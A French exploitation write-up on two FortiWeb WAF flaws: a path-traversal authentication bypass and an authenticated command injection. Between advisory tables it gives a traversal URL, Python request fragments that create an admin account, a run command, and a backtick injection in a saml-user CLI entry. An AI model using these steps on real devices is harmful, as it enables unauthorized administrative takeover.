
Vulnérabilité FORTIWEB_CVE-2025-64446 & CVE-2025-58034
FortiWeb est un dispositif Web Application Firewall (WAF) utilisé pour protéger les applications web.
En 2025, deux vulnérabilités critiques ont été découvertes :
| Champ | Contenu |
|---|---|
| Type de vulnérabilité | Relative Path Traversal Authentication Bypass |
| Cause | FortiWeb traite les chemins de manière laxiste avant l'authentification : - Contrôle d'accès basé sur la chaîne de chemin logique - Absence de normalisation complète du chemin - Autorise l'utilisation de ../ pour accéder aux ressources internes |
| Description | Certains points de terminaison (endpoints) d'administration peuvent être consultés sans authentification valide |
| Impact | - Contournement complet de l'authentification - Accès non autorisé aux fonctions d'administration - Rupture du modèle de gestion des privilèges |
| Versions affectées | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
Exemple :
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Cela permet d'éviter les conflits de versions de bibliothèques, de garantir la stabilité de l'environnement de travail et de limiter l'impact sur le système.
Payload
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Exécutez l'outil avec Python3 :
python3 exploit.py <IP_target>
<IP_target> : L'adresse IP correspond ici au nom d'hôte de l'appareil FortiWeb.
On obtient le nom d'utilisateur et le mot de passe -> on procède à la connexion.
Exploitation réussie : un nouveau compte avec les droits d'administrateur a été créé.
Après s'être connecté avec succès à l'aide du compte administrateur nouvellement créé, l'attaquant peut exploiter la vulnérabilité d'injection de commandes authentifiée via des requêtes spécialement conçues ou directement via l'interface en ligne de commande FortiWeb CLI :
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb sort de la séquence de configuration et exécute la commande id pendant la configuration de saml-user.
| Champ | Contenu |
|---|
| Type de vulnérabilité | OS Command Injection (CWE-78) |
| Cause | FortiWeb traite les entrées de manière non sécurisée lors de l'exécution de commandes système : - Absence de validation des entrées - Absence d'échappement des caractères spéciaux - Transmission directe des données utilisateur dans les commandes système |
| Description | La vulnérabilité nécessite une authentification mais permet d'injecter des commandes système |
| Impact | - Exécution de commandes non autorisées - Accès aux ressources système - Atteinte à l'intégrité et à la disponibilité |
| Versions affectées | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |